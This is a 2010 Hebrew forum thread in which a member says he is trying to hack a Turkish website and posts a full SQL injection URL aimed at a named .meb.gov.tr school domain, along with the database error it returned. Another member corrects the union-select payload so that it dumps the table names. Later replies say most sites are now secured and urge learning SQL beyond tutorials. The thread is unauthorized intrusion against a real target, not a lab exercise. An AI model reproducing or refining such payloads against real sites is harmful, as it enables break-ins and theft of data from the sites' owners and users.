לא מצליח להגיע לטבלאות..SQLi
אני מנסה לפרוץ לאתר טורקי אחד ולא מצליח להגיע לטבלאות..
http://yenisehir21.meb.gov.tr/tum_zin.php?recordID=-2103+union+all+select+1,group_concat(table_name),3,4,5,6,7,8 from informaion_schema.tables
מה לא עשיתי טוב?
ולמה זה רושם :
SELECT command denied to user 'f2117_6lJR7lgTwa'@'MEBWEBPHP01' for table 'tables'
תודה מראש
|
|
אתה כבר למדתה SQL או שניסתה ממדריך?
כי לא הזרקת במקום המתאים הזרקת במיספר 2 אתה צריך במיספר 7 או 8 זה התיקון:
union+all+select+1,2,3,4,5,6,group_concat(table_name),8
אהה תודה
ודני ניסיתי ממדריך
שמח לעזור...נכתב במקור על ידי Nizzan003
אהה תודה
ודני ניסיתי ממדריך
חחחח כול הפורום הזה פשוט חרש על הפריצה הזאת אני לא מאמין שעוד מישהו מתכנת את האתר שלו פגיע לדבר...
פריצה sql injection?
כיום רוב האתרים כבר מאובטחים, ואני אומר תלמד את השפה אל תהיה רק עם מדריך זה טוב שתדע את השפה למקרה שתתקע.
אני טוען ששנינו אתאיסטים, אני רק מאמין באל אחד פחות ממך.
כשתבין מדוע אתה מבטל את כל שאר האלים האפשרים, תבין מדוע אני מבטל את שלך.
סטפן רוברטס
And Man Created God In His Own Image
Come Out
כן הם סומכים רק על המדריך-- המדריך היה התקפה בסיסית..
מאובטים מאובטחים אבל בסוף תמיד יש דרך להזרקה..
נערך לאחרונה על ידי roee147; 27-07-2010 בשעה 00:58.
זה לא דבר טוב לסמוך רק על המדריך (מדריך טוב אני לא אומר שלא) אבל שלפחות יהיה ידע בסיסי בשפה עצמה ובפקודות שלה, כי אם אתה מבין את מה שאתה קורא אתה בשנייה יכול לשנות את הפקודה ואז לפתור את העניין
אני טוען ששנינו אתאיסטים, אני רק מאמין באל אחד פחות ממך.
כשתבין מדוע אתה מבטל את כל שאר האלים האפשרים, תבין מדוע אני מבטל את שלך.
סטפן רוברטס
And Man Created God In His Own Image
Come Out
אכן.
הרשאות פרסום
ציטוט ההודעה
